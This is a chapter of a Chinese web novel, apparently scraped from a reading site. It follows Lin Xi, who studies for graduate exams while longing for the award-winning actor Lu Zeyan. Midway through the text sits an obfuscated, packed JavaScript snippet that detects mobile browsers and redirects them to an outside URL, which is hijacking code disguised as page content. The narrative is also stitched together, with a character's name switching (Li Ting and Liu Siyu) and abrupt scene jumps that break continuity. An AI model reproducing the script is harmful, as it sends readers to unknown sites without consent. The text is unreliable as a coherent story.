63. 再见
作品:《重回九零:和影帝同桌的日子》 可现在,她却连见他一面的勇气都没有。手机屏幕亮了一下,是隔壁班刘思雨发来的微信:“看新闻了吗?陆泽言三获影帝了!这有一段他的采访。”刘思雨和他一样是陆泽言的粉丝,两人每每聊起陆泽言都说他是“叔圈天菜”。
林溪没回,点开刘思雨发来的采访链接。视频里的陆泽言坐在沙发上,穿着简单的灰色毛衣,手里捧着个马克杯。
镜头扫过他的手腕,银手链在灯光下闪了一下。林溪的心脏猛地一缩,像被那道光烫了一下,眼泪毫无预兆地掉在手机屏幕上,晕开了他温柔的眉眼。
她关掉视频,把手机扔到一边,却在黑暗里睁着眼,直到天快亮才迷糊睡去。梦里又是青溪镇的石板路,陆泽言穿着白衬衫靠在老槐树下,手里拿着本《演员的自我修养》,风掀起书页,露出夹在里面的话剧团宣传单——是1996年她发现的那一张,边角都磨圆了。
“溪溪,过来。”他冲她招手,笑容干净得像雨后的天空。
林溪跑过去,想抓住他的手,却扑了个空。他的身影渐渐变得透明,像被风吹散的烟,只留下声音在耳边回响:“我等你来找我,用不了多久。”
她惊醒时,枕头已经湿了一片。窗外的天刚蒙蒙亮,食堂的炊烟顺着窗户缝钻进来,带着淡淡的包子香味,是她在音乐学院吃了四年的味道,却突然让她想起沈曼青做的葱油饼,刚出锅时酥得掉渣,葱香能飘满整条街。
“不能再这样下去了。”林溪对着镜子里的自己说,眼底的红血丝像蛛网,“考研,去京城。”
她报考的是京城电影学院的艺术学理论专业。做出这个决定时,教导员皱着眉翻看她的成绩单:“你在音乐创作上很有天赋,为什么突然转去学理论?还要跨校考京城电影学院?”
林溪捏着笔,在报名表上写下自己的名字,笔尖划破了纸页:“我想……多学些东西。”她没说真正的原因——京城电影学院在海淀区也是陆泽言曾经向往的地方,离陆泽言的工作室只有三站地铁。她不敢直接去找他,只能用这种笨拙的方式,一点点靠近他的世界。
备考的日子像场漫长的马拉松。林溪把所有关于陆泽言的东西都收进了柜子最深处:采访视频、电影海报、刘思雨发来的消息截图,还有那个梧桐木盒,被她用旧围巾裹了三层,生怕不小心看到,就会泄了气。
她每天第一个到图书馆,占个靠窗的位置,面前堆着《艺术概论》《电影美学》《西方现代派文学史》,厚厚的书脊像堵墙,把她和外面的世界隔开。中午啃个面包,下午继续刷题,晚上回宿舍后,还要对着电脑看陆泽言的电影,不是为了追星,是为了写影评分析,当作理论练习。
看《京华烟云》时,她盯着屏幕里那个沉默寡言的民国公子,看他在雨中抱着爱人的墓碑,眼泪砸在青石板上的样子,突然想起他在自己墓前的模样,是不是也这样呢?肩膀绷得像根弦,却不肯让眼泪掉下来。她按下暂停键,趴在桌子上哭了很久,直到潇潇回来,以为她是考研压力太大,塞给她块巧克力:“吃点甜的就好了,你看你,瘦得下巴都尖了。”
巧克力的甜腻在舌尖化开,却抵不过心里的涩。十月底的某天,林溪去打印店取复习资料,路过校门口的报刊亭时,被一张海报吸引住了。是陆泽言新电影的宣传照,他穿着军装,眼神坚毅。
报刊亭的大爷见她盯着海报看,笑着说:“这小伙子演得真好,昨天我家老婆子还看他的电影哭了呢。”
新闻里突然出现了林浩的身影。他穿着件蓝色工装,正在帮陆泽言搬琴凳,两人对视一眼,没说话,却默契地一起把琴凳摆到钢琴前。林浩比记忆中沧桑了些,鬓角有了白发,却比在京城时平和了许多,嘴角甚至带着点浅浅的笑意。
新闻结束时,记者说林浩自己捐钱办了一所音乐学校,教孩子们弹钢琴。林溪的眼泪又掉了下来,这次却带着点释然。原来林浩也在用自己的方式赎罪,用那些黑白琴键,弹奏着迟到的歉意。
回到图书馆,林溪在笔记本上写下:“真正的和解,不是遗忘,是带着回忆继续走。”笔尖划过纸页,发出沙沙的声响。
考研倒计时牌上的数字一天天减少,林溪的头发掉得越来越多,每次梳头发,梳子上都缠着一小团,像揉碎的蒲公英。潇潇心疼她,把家里寄来的阿胶糕塞给她:“你再这样熬下去,等考上研也成秃子了。”林溪笑着接过,却在转身时红了眼眶,她的头发~~~~
平安夜那天,图书馆闭馆早。林溪抱着书往宿舍走,路过校门口的圣诞树时,看到有人在卖烤红薯,甜香弥漫在冷空气中,像只温暖的手,轻轻挠着她的心尖。
“阿姨,要个最大的。”她递过钱,指尖冻得发红。
手机突然响了,是个陌生号码,归属地是京城。林溪犹豫了一下,接了起来,听筒里传来个熟悉的声音,带着点试探:“溪溪?是我,刘思雨。”
“思雨?”林溪有些惊讶,“怎么是你?”
“我听说你毕业了没找工作,在准备考研啊?”李婷的声音带着兴奋,“我在京城找到了份工作,什么时候约见面啊?”
见面的地方在学校附近的咖啡馆。刘思雨穿着干练的职业装,化着精致的妆:“你瘦了好多,溪溪,是不是太辛苦了?”。
林溪勉强笑了笑,把烤红薯的袋子攥得更紧了些:“还好,就是压力有点大。”她低头喝了口咖啡,苦涩的味道在舌尖蔓延,却比不上心里的复杂情绪。
“你还不知道吧?”刘思雨忽然压低声音,眼神里闪过一丝神秘,“陆泽言最近在筹备新戏,我们公司有给这部戏投资!”
林溪的手指微微颤抖,咖啡杯碰到碟子发出轻微的响声。她努力让自己的声音听起来平静:“是吗?”
“下周五他在朝阳剧院有个小型路演,说是为新戏预热,要不要去看看?”刘思雨从包里拿出两张票,“我多抢了一张。”
林溪盯着那两张票,喉咙像被什么堵住了。二十年了,陆泽言还记得她吗?机会真的摆在面前,林溪心跳不受控制地加速。
“我...”她刚要开口,手机突然震动起来。是考研报名确认的信息弹窗,提醒她最后确认时间就在今晚。
"没关系,你要是不方便就算了。"刘思雨似乎察觉到了她的犹豫,"我可以去粉丝会约别人。"
林溪还是去了,她最终还是点了头,声音轻得像一片羽毛飘落:“好,我去。”说出这句话时,她的手心已经满是汗,仿佛做出这个决定耗尽了全身的力气。
刘思雨露出欣喜的笑容,把票塞进林溪手里:“那说定了!到时候我来接你,别迟到啊!”说完,她又叮嘱了几句注意事项,像是怕林溪临时变卦一般。临走前,她拍了拍林溪的肩膀,“别太紧张,就当是看场普通的演出。”
可这怎么可能普通呢?林溪攥着那张票,指尖几乎要将纸张揉皱。从咖啡馆回宿舍的路上,冷风刮过脸颊,让她稍微清醒了一些,但胸口那股翻涌的情绪却怎么也压不下去。她低头看着手中的票,上面印着的日期和地点刺目得像一道无法忽视的召唤。
回到宿舍后,林溪坐在床边发呆,目光落在书桌上堆积如山的复习资料上。明天就是考研报名确认的最后期限,而她现在连专业课的重点都还没完全掌握。如果去参加路演,意味着接下来几天的学习计划会被彻底打乱。但如果不抓住这次机会,她又会不会后悔一辈子?
夜深人静时,她打开手机,重新点开了那段采访视频。陆泽言的声音依旧温柔,带着一种穿越时间的力量直击内心深处。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365634|180507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
第二天早上醒来时,林溪发现自己枕边湿了一片。窗外的天色灰蒙蒙的,寒意透过窗户缝隙钻进来,但她却感觉不到冷。
接下来的几天,林溪强迫自己专注于复习,把所有关于陆泽言的事情暂时抛诸脑后。然而,每当她闭上眼睛,脑海中总会浮现出他的身影,那双深邃的眼睛似乎一直注视着她,让她无处可逃。
周五很快就到了。林溪换上一件简单的白色毛衣,站在镜子前反复整理头发和衣领,试图让自己看起来更自然一些。
刘思雨准时出现在宿舍楼下,穿着一件红色大衣,整个人看起来神采奕奕。“准备好了吗?”她笑着问,语气里透着掩饰不住的兴奋。
林溪点点头,跟着她上了车。一路上,刘思雨滔滔不绝地聊着新戏的剧情和陆泽言的表现,而林溪只是默默听着,偶尔附和几句。她知道自己此刻的沉默显得有些格格不入,但那些复杂的情绪早已堵住了她的喉咙,让她一句话也说不出来。
朝阳剧院门口聚集了不少粉丝,有人举着应援牌,有人拿着荧光棒,还有人高声喊着陆泽言的名字。林溪站在人群中,感觉自己像是一颗被浪潮卷起的小石子,随时可能被冲散。她紧紧捏着手中的票,生怕一松手就会失去它。
灯光暗下来的时候,全场瞬间安静。舞台中央缓缓升起一道光束,伴随着热烈的掌声,陆泽言的身影出现在众人面前。他穿着一件黑色衬衫,袖口随意挽起,整个人散发着一种沉稳而温暖的气息。
林溪屏住呼吸,不敢眨眼。那一刻,她觉得自己仿佛回到了青溪镇的老槐树下,耳边只剩下风吹树叶的声音。
林溪的手指停在那行字上,指腹蹭过纸张边缘的毛边,像触到了1996年陆泽言给她讲题时,草稿纸边缘的粗糙质感。笔记本的纸页泛黄发脆,显然有些年头了,墨水的字迹却依旧清晰,笔锋里藏着他惯有的认真,是她熟悉的样子,连顿笔的弧度都和当年如出一辙。
“这怎么会在这里?”她喃喃自语,把笔记本凑近鼻尖,闻到一股淡淡的樟脑丸味,像老衣柜里的味道。
京城电影学院图书馆的落地钟敲了九下,沉闷的声响惊飞了窗台上的麻雀。林溪赶紧把笔记本塞进包里,拉链拉到一半又停住,怕夹到纸页。
回到座位,新舍友陈佳佳正对着电脑啃面包,面包屑掉在键盘上,像撒了把碎盐。“你去哪了?”她含糊不清地问,指着屏幕上的新闻,“快看,陆泽言捐了批钢琴给山区小学,这觉悟,不愧是我偶像!”
林溪凑过去看,新闻配图里的陆泽言穿着工装服,正在给钢琴调音,侧脸的线条在阳光下格外柔和。他手里的调音扳手闪着光,动作熟练得不像个影帝。
林溪的目光在图片上停留了许久,直到陈佳佳推了她一下才回过神来。“你最近怎么总看他的新闻?”陈佳佳打趣道,嘴里还嚼着面包,“他是你偶像对吧?”
林溪点点头,没有回答。她低头翻开了笔记本的第一页,上面密密麻麻写满了字,有些地方还画着小插图,像是随手涂鸦。最显眼的是右上角的一句话:“艺术源于生活,却高于生活。”这是陆泽言当年在课堂上常挂在嘴边的话。
“这本子是谁的?”陈佳佳好奇地探头过来。
林溪犹豫了一下,轻声说:“一个很重要的人。”
陈佳佳眨眨眼,似乎想继续追问,但看到林溪脸上的神情后便识趣地闭了嘴,转而专注于清理键盘上的面包屑。
饭后散步地林溪,不自觉的走到了文创园,文创园里夕阳正把天空染成橘子汽水的颜色。陆泽言的工作室在三楼,玻璃幕墙反射着晚霞,像块巨大的调色盘。林溪站在楼下的梧桐树下,看着那扇亮着灯的窗户,手指攥得发白,她知道他就在里面,离她只有几十级台阶的距离。